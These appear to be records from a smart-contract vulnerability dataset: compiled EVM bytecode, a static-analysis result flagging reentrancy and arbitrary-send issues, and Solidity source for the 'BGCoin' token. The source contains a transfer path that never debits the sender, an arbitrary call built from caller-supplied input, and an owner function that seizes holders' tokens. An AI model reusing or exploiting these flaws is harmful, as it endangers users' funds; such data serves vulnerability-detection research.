ffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023c70f31c2b3433a309e81b6c420fe00fab7d555ef485ff9fdc5b0a52e2df45364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,038
0xdfc56fcd704896c85646ac4993cc7122243ffc31
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data); } contract BGCoin is Pausable { using SafeMath for uint256; mapping (address => uint) balances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => bool) public frozenAccount; event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); event FrozenFunds(address target, bool frozen); event Approval(address indexed owner, address indexed spender, uint256 value); string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; constructor(string _name, string _symbol, uint8 _decimals, uint256 _supply) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _supply; balances[msg.sender] = totalSupply; } // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint256 _totalSupply) { return totalSupply; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused returns (bool success) { require(_to != address(0)); require(!frozenAccount[_to]); require(!frozenAccount[msg.sender]); if(isContract(_to)) { require(balanceOf(msg.sender) >= _value); balances[_to] = balanceOf(_to).sub(_value); balances[_to] = balanceOf(_to).add(_value); assert(_to.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) whenNotPaused returns (bool success) { require(_to != address(0)); require(!frozenAccount[_to]); require(!frozenAccount[msg.sender]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) whenNotPaused returns (bool success) { require(_to != address(0)); require(!frozenAccount[_to]); require(!frozenAccount[msg.sender]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(_to != address(0)); require(!frozenAccount[_to]); require(balanceOf(msg.sender) >= _value); require(!frozenAccount[msg.sender]); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); emit Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(_to != address(0)); require(!frozenAccount[_to]); require(balanceOf(msg.sender) >= _value); require(!frozenAccount[msg.sender]); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public returns (bool seccess) { require(amount > 0); require(addresses.length > 0); require(!frozenAccount[msg.sender]); uint256 totalAmount = amount.mul(addresses.length); require(balances[msg.sender] >= totalAmount); bytes memory empty; for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != address(0)); require(!frozenAccount[addresses[i]]); balances[addresses[i]] = balances[addresses[i]].add(amount); emit Transfer(msg.sender, addresses[i], amount, empty); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint256[] amounts) public returns (bool) { require(addresses.length > 0); require(addresses.length == amounts.length); require(!frozenAccount[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0); require(addresses[i] != address(0)); require(!frozenAccount[addresses[i]]); totalAmount = totalAmount.add(amounts[i]); } require(balances[msg.sender] >= totalAmount); bytes memory empty; for (i = 0; i < addresses.length; i++) { balances[addresses[i]] = balances[addresses[i]].add(amounts[i]); emit Transfer(msg.sender, addresses[i], amounts[i], empty); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint256[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0); require(addresses.length == amounts.length); uint256 totalAmount = 0; bytes memory empty; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0); require(addresses[j] != address(0)); require(!frozenAccount[addresses[j]]); require(balances[addresses[j]] >= amounts[j]); balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j], empty); } balances[msg.sender] = balances[msg.sender].add(totalAmount); return true; } }
0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806318160ddd146101e0578063313ce567146102075780633f4ba83a146102325780635c975abb14610249578063661884631461025e57806370a0823114610282578063715018a6146102a35780638456cb59146102b85780638da5cb5b146102cd57806394594625146102fe57806395d89b4114610355578063a9059cbb1461036a578063b414d4b61461038e578063be45fd62146103af578063d73dd62314610418578063dd62ed3e1461043c578063dd92459414610463578063e724529c146104f1578063f0dc417114610517578063f2fde38b146105a5578063f6368f8a146105c6575b600080fd5b34801561012a57600080fd5b5061013361066d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101cc600160a060020a0360043516602435610703565b604080519115158252519081900360200190f35b3480156101ec57600080fd5b506101f5610782565b60408051918252519081900360200190f35b34801561021357600080fd5b5061021c610788565b6040805160ff9092168252519081900360200190f35b34801561023e57600080fd5b50610247610791565b005b34801561025557600080fd5b506101cc61080b565b34801561026a57600080fd5b506101cc600160a060020a036004351660243561081b565b34801561028e57600080fd5b506101f5600160a060020a036004351661092f565b3480156102af57600080fd5b5061024761094a565b3480156102c457600080fd5b506102476109ba565b3480156102d957600080fd5b506102e2610a39565b60408051600160a060020a039092168252519081900360200190f35b34801561030a57600080fd5b50604080516020600480358082013583810280860185019096528085526101cc953695939460249493850192918291850190849080828437509497505093359450610a489350505050565b34801561036157600080fd5b50610133610cf3565b34801561037657600080fd5b506101cc600160a060020a0360043516602435610d54565b34801561039a57600080fd5b506101cc600160a060020a0360043516610dfb565b3480156103bb57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610e109650505050505050565b34801561042457600080fd5b506101cc600160a060020a0360043516602435610ebb565b34801561044857600080fd5b506101f5600160a060020a0360043581169060243516610f73565b34801561046f57600080fd5b50604080516020600480358082013583810280860185019096528085526101cc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610f9e9650505050505050565b3480156104fd57600080fd5b50610247600160a060020a03600435166024351515611236565b34801561052357600080fd5b50604080516020600480358082013583810280860185019096528085526101cc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506112b59650505050505050565b3480156105b157600080fd5b50610247600160a060020a0360043516611598565b3480156105d257600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506116309650505050505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f95780601f106106ce576101008083540402835291602001916106f9565b820191906000526020600020905b8154815290600101906020018083116106dc57829003601f168201915b5050505050905090565b6000805460a060020a900460ff161561071b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b60075490565b60065460ff1690565b60005433600160a060020a039081169116146107ac57600080fd5b60005460a060020a900460ff1615156107c457600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561083557600080fd5b50600160a060020a033381166000908152600260209081526040808320938716835292905220548083111561089157600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108c8565b6108a1818463ffffffff61190916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a0390811691161461096557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60005433600160a060020a039081169116146109d557600080fd5b60005460a060020a900460ff16156109ec57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080548190606090829033600160a060020a03908116911614610a6b57600080fd5b60008511610a7857600080fd5b8551600010610a8657600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610aac57600080fd5b8551610abf90869063ffffffff61191b16565b600160a060020a033316600090815260016020526040902054909350831115610ae757600080fd5b5060005b8551811015610ca1578551600090879083908110610b0557fe5b60209081029091010151600160a060020a03161415610b2357600080fd5b600360008783815181101515610b3557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610b6557600080fd5b610baa85600160008985815181101515610b7b57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61194416565b600160008884815181101515610bbc57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610bed57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d3b83398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c5e578181015183820152602001610c46565b50505050905090810190601f168015610c8b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610aeb565b600160a060020a033316600090815260016020526040902054610cca908463ffffffff61190916565b33600160a060020a03166000908152600160208190526040909120919091559695505050505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f95780601f106106ce576101008083540402835291602001916106f9565b6000805460609060a060020a900460ff1615610d6f57600080fd5b600160a060020a0384161515610d8457600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610daa57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610dd057600080fd5b610dd984611951565b15610df057610de9848483611959565b9150610928565b610de9848483611bb9565b60036020526000908152604090205460ff1681565b6000805460a060020a900460ff1615610e2857600080fd5b600160a060020a0384161515610e3d57600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610e6357600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610e8957600080fd5b610e9284611951565b15610ea957610ea2848484611959565b9050610eb4565b610ea2848484611bb9565b9392505050565b6000805460a060020a900460ff1615610ed357600080fd5b600160a060020a03338116600090815260026020908152604080832093871683529290522054610f09908363ffffffff61194416565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000806000606060008651111515610fb557600080fd5b8451865114610fc357600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610fe957600080fd5b60009250600091505b85518210156110c5576000858381518110151561100b57fe5b602090810290910101511161101f57600080fd5b855160009087908490811061103057fe5b60209081029091010151600160a060020a0316141561104e57600080fd5b60036000878481518110151561106057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff161561109057600080fd5b6110b885838151811015156110a157fe5b60209081029091010151849063ffffffff61194416565b9250600190910190610ff2565b600160a060020a0333166000908152600160205260409020548311156110ea57600080fd5b600091505b8551821015610ca157611125858381518110151561110957fe5b90602001906020020151600160008986815181101515610b7b57fe5b60016000888581518110151561113757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055855186908390811061116857fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d3b83398151915287858151811015156111a257fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111f05781810151838201526020016111d8565b50505050905090810190601f16801561121d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36001909101906110ef565b60005433600160a060020a0390811691161461125157600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600080548190606090829033600160a060020a039081169116146112d857600080fd5b85516000106112e657600080fd5b84518651146112f457600080fd5b5060009150815b855181101561156f576000858281518110151561131457fe5b602090810290910101511161132857600080fd5b855160009087908390811061133957fe5b60209081029091010151600160a060020a0316141561135757600080fd5b60036000878381518110151561136957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff161561139957600080fd5b84818151811015156113a757fe5b906020019060200201516001600088848151811015156113c357fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410156113f157600080fd5b61144d858281518110151561140257fe5b9060200190602002015160016000898581518110151561141e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61190916565b60016000888481518110151561145f57fe5b6020908102909101810151600160a060020a03